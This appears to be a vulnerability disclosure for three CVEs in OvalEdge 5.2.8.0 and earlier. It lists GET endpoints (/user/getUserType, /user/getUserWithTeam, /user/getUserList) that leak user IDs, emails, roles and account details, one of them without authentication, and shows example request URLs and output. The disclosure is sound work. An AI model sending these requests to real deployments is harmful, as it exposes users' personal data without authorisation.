❗Sensitive Data Exposure

OvalEdge 5.2.8.0 and earlier is affected by multiple Sensitive Data Exposure vulnerabilities.

Sensitive Data Exposure (unauthenticated)

CVE-2022-30361

OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to /user/getUserType. No authentication is required. The information disclosed is associated with the registered user ID, status, email address, role(s), user type, license type, and personal details such as first name, last name, gender, and user preferences.

https://example.com/ovaledge/user/getUserType?userid=admin

Example Output

{"userId":"admin","password":"[SECRET]","fName":"Admin","lName":"OvalEdge","gender":"Male","pPhone":"","email":"admin@ovaledge.com","address":null,"role":"OE_ADMIN","title":"Admin","message":null,"name":"Admin OvalEdge","userType":"ovaledge","status":"active

","lastmoddate":"2022-05-01 20:48:59.0","token":"","cityState":null,"slackId":"","notifyViaEmail":0,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":0,"allowServiceDeskAlert":0,"licenseTypeCode":3,"licenseType":"Author & Analytical User","userSecret":null,"allowTeamAlert":1,"teamMessageUser":false,"allowUpdateOwner":1,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0}

Sensitive Data Exposure (authenticated)

CVE-2022-30354

OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to /user/getUserWithTeam. Authentication is required. The information disclosed is associated with all registered user ID login values.

https://example.com/ovaledge/user/getUserWithTeam

Example Output

[{"userId":"#AIM"},{"userId":"adjensen@example.com"},{"userId":"admin"},{"userId":"afacer@example.com"},{"userId":"avega@example.com"},{"userId":"bbell@example.com"},{"userId":"bbutterfield@example.com"},{"userId":"bparkin@example.com"},{"userId":"brees@example.com"},{"userId":"cgriffin@example.com"},{"userId":"clee"},{"userId":"cmunford@example.com"},{"userId":"cng@example.com"},{"userId":"cnoel@example.com"},{"userId":"crodriguez@example.com"},{"userId":"cromney@example.com"},{"userId":"cstahle@example.com"},{"userId":"dgatrell@example.com"},{"userId":"dgilbert@example.com"},{"userId":"dgodfrey@example.com"},{"userId":"dhubbard@example.com"},{"userId":"djennings@example.com"},{"userId":"ewilkes@example.com"},{"userId":"gfawson@example.com"},{"userId":"hethington@example.com"},{"userId":"hsederholm@example.com"},{"userId":"idial@example.com"},{"userId":"ipetersen@example.com"},{"userId":"jhall@example.com"},{"userId":"jhurford-reynolds@example.com"},{"userId":"jjohnson@example.com"},{"userId":"jkippen@example.com"},{"userId":"jmerritt@example.com"},{"userId":"joverson@example.com"},{"userId":"jromer@example.com"},{"userId":"kacker@example.com"},{"userId":"kculbertson@example.com"},{"userId":"kgines@example.com"},{"userId":"knipko@example.com"},{"userId":"lbailey@example.com"},{"userId":"lmesserly@example.com"},{"userId":"meparkinson@example.com"},{"userId":"moveson@example.com"},{"userId":"rcwoolston@example.com"},{"userId":"rhoeft@example.com"},{"userId":"rthompson@example.com"},{"userId":"speacock@example.com"},{"userId":"sravi@example.com"},{"userId":"syannetta@example.com"},{"userId":"tbrown@example.com"},{"userId":"tkershaw@example.com"},{"userId":"tlevans"},{"userId":"tmoses@example.com"},{"userId":"tspencer@example.com"},{"userId":"ukonkepudi@example.com"},{"userId":"zkoger@example.com"}]

Sensitive Data Exposure (authenticated)

CVE-2022-30359

OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to /user/getUserList. Authentication is required. The information disclosed is associated with the all registered users, including user ID, status, email address, role(s), user type, license type, and personal details such as first name, last name, gender, and user preferences.

https://lxo-ovaledge.afcucorp.local/ovaledge/user/getUserList

Example Output

[{"userId":"adjensen@example.com","password":"[SECRET]","fName":"Adam","lName":"Jensen","gender":null,"pPhone":"","email":"adjensen@example.com","address":null,"role":"CONTENT_CREATOR","title":"","message":null,"name":"Adam Jensen","userType":"SAML","status":"ACTIVE","lastmoddate":"2022-03-09 15:04:50.0","token":null,"cityState":null,"slackId":null,"notifyViaEmail":1,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":1,"allowServiceDeskAlert":1,"licenseTypeCode":3,"licenseType":"Author & Analytical User","userSecret":null,"allowTeamAlert":0,"teamMessageUser":false,"allowUpdateOwner":0,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0},{"userId":"admin","password":"[SECRET]","fName":"Admin","lName":"OvalEdge","gender":"Male","pPhone":"","email":"gheward@example.com","address":null,"role":"OE_ADMIN","title":"Admin","message":null,"name":"Admin OvalEdge","userType":"ovaledge","status":"active","lastmoddate":"2022-05-01 20:48:59.0","token":"","cityState":null,"slackId":"","notifyViaEmail":0,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":0,"allowServiceDeskAlert":0,"licenseTypeCode":3,"licenseType":"Author & Analytical User","userSecret":null,"allowTeamAlert":1,"teamMessageUser":false,"allowUpdateOwner":1,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0},.........}]

Last updated 2 years ago